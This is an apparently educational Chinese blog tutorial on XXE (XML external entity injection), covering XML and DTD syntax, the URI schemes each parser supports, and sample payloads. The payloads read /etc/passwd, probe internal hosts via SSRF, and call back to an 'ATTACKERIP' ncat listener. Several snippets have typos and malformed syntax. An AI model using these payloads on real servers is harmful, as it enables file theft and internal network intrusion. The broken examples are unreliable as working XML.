XXE超详细讲解(都是纯纯的干货)

基础概念:

XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础

XML:

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。

XML基础

XML 指可扩展标记语言 (EXtensible Markup Language)

XML 是一种标记语言,很类似 HTML

XML 的设计宗旨是传输数据,而非显示数据

XML 标签没有被预定义。您需要自行定义标签。

XML 被设计为具有自我描述性

XML是W3C的推荐标准

XML 是不作为的

也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息下面是 John 写给 George 的便签,存储为 XML:

<note>
	<to>George</to>
	<from>John</from>
	<heading>Reminder</heading>
	<body>Don't forget the meeting!</body>
</note>

看到一些XML标签的语法规律

1.区分大小写,同时没个标签需要闭合(在burp里面构造xml的时候,会制动规范格式的)

<Maga>错误<maga>

<maga>错误

<maga>正确<maga>

2.属性值必须加引号:

<note data="12/3/2022">
<to>lan</to>
<from>qinyuan</from>
</note>

XXE漏洞的危害

1、读取系统文件

2、执行系统命令

3、探测内网端口

4、攻击内部网络

XXE的环境

1、Centos 6.5 Linux;

2、中间件:apache

3、xml的靶场测试环境

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列和法院书来定义文档的结构。

DTD可被成行的声明于XML文档中,也可做为一个外部引用

内部的DOCTYPE声明

假如DTD被包含在您的XML源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中:

<!DOCTYPE 根元素 SYSTEM "外部的源文件名">

1

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值.

实体类别

实体按类型主要分为以下四种:

内置实体(Builtin entities)

字符实体(Character entities)

通用实体(General entities)

参数实体(Parameter entities)

但通俗的分为: 参数实体和其余实体:

1,一般实体的声明语法

<!ENTITY 实体名“实体内容”>

2,参数实体只能在DTD中使用,参数实体的声明格式:

<!ENTITY%实体名“实体内容”>

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称

参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xmi文档中引用。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。(SYSTEM标识链:该标识符章味着该实体将从外部来源获取内容)

XXE检测思路

内部DTD+参数外部实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY %name SYSTEM "file:///etc
	/passwd">
	%name;
]>

注意:%name(参数实体)实在DTD中被引用的,而&name(其余实体)实在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下应用那些类型的外部实体

外部实体即在DTD 中使用

<!ENTITY 实体名称 SYSTEM “URI”>

语法引用的外部实体,而非内部实体,那么uri中能写那些类型的外部实体呢?

主要又file、http、ftp等,当然不同的程序支持的不一样

libxml2:file、http、ftp

php:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar

java:http、https、ftp、file、jar、netdoc、mailto、gopher *

.NET:file、http、https、ftp

xxe之ssrf

XXE可以与SSRF漏洞一起用于探测其他内网主机的信息,基于http协议。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo[
	<!IELEMENT foo ANY >
  <!ENTITY % xxe SYSTEM “http://internal.service/secret pass.txt”>
]>
	<foo>
	&xxe;
	</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused"则表示该端口可能是开放的.众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试,关于ncat的使用: ncat-网络工具中的瑞士军刀

用ncat在自己的服务器上开启监听: ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

<?xml version="1.0” encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/"
[
<!ELEMENT data(#PCDATA)>
]>
<data>4</data>

如果能够建立连接,那么服务器端的ncat回收到相应的请求信息

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lv_~统一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值